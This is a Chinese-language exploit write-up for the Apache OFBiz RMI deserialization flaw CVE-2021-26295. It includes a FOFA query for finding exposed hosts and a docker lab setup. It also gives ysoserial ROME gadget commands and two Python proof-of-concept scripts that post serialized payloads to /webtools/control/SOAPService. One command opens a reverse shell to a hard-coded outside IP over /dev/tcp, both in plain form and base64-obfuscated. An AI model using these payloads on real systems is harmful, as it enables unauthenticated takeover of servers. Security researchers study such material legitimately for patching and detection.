Apache OFBiz RMI反序列化漏洞 CVE-2021-26295

# Apache OFBiz rmi反序列化漏洞 CVE-2021-26295

## 漏洞描述

OFBiz是基于Java的Web框架，包括实体引擎，服务引擎和基于小部件的UI。

近日，Apache OFBiz官方发布安全更新。Apache OFBiz 存在RMI反序列化前台命令执行，未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz，建议相关用户尽快测试漏洞修复的版本并及时升级。

## 漏洞影响

> [!NOTE]
>
> Apache OFBiz < 17.12.06 ## FOFA > [!NOTE]
>
> app=”Apache_OFBiz”

## 环境搭建

“`
docker run -d -p 8000:8080 -p 8443:8443 opensourceknight/ofbiz
“`

## 漏洞复现

使用文章目录中的POC脚本 验证 Dnslog

反弹shell使用 ROME反序列化链就行了

“`
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME “bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvLyA8JjEn}|{base64,-d}|{bash,-i}” | xxd|cut -f 2,3,4,5,6,7,8,9 -d ” “|tr -d ‘ ‘|tr -d ‘\n’

bash -c ‘exec bash -i &>/dev/tcp/81.68.139.186/9999 <&1' base64加密写入然后执行命令 ```

然后把数据填入下面的 反弹shell脚本中的Hex_data参数中运行脚本即可反弹shell

## 漏洞利用POC

> [!NOTE]
>
> 需要将POC放在与 ysoserial.jar 同一目录 一个为 dnslog检测，另一个为反弹shell

“`python
import requests
import sys
import sys
import subprocess
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: Apache OFBiz \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+ \033[36mDnslog >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+——————————————‘)

def trans(s):
return “%s” % ”.join(‘%.2x’ % x for x in s)

def POC_1(target_url, Dnslog):
popen = subprocess.Popen([‘java’, ‘-jar’, ‘ysoserial.jar’, “URLDNS”, Dnslog], stdout=subprocess.PIPE)
data = popen.stdout.read()
hex_data = trans(data)
headers = {
‘Content-Type’: ‘text/xml’
}
post_data = ”’%s”’ % hex_data
vuln_url = target_url + “/webtools/control/SOAPService”
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=post_data, headers=headers, verify=False, timeout=5)
print(“\033[36m[o] 正在请求 {}/webtools/control/SOAPService….. \033[0m”.format(target_url))
if response.status_code == 200:
print(“\033[36m[o] 请检查 Dnslog 响应\n \033[0m”)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
sys.exit(0)

except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
Dnslog = str(input(“\033[35mDnslog >>> \033[0m”))
POC_1(target_url, Dnslog)

“`

> [!NOTE]
>
> 反弹shell脚本

“`python
import requests
import sys
import sys
import subprocess
import binascii
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: Apache OFBiz \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+ \033[36mHex_data >>> 在文件中修改 \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url, Dnslog):
# java -jar ysoserial.jar ROME “bash -c {echo,YmFzaCAtYyAnZXhlYyBiYXNoIC1pICY+L2Rldi90Y3AvLyA8JjEn}|{base64,-d}|{bash,-i}” | xxd|cut -f 2,3,4,5,6,7,8,9 -d ” “|tr -d ‘ ‘|tr -d ‘\n’
hex_data = “aced0xxxxxxxxxxxxxxxxxxxxxx678″
headers = {
‘Content-Type’: ‘text/xml’
}
post_data = ”’%s”’ % hex_data
vuln_url = target_url + “/webtools/control/SOAPService”
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.post(url=vuln_url, data=post_data, headers=headers, verify=False, timeout=5)
print(“\033[36m[o] 正在请求 {}/webtools/control/SOAPService….. \033[0m”.format(target_url))
if response.status_code == 200:
print(“\033[36m[o] 请检查 监听地址 响应\n \033[0m”)
else:
print(“\033[31m[x] 请求失败 \033[0m”)
sys.exit(0)

except Exception as e:
print(“\033[31m[x] 请求失败 \033[0m”)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url, Dnslog)
“`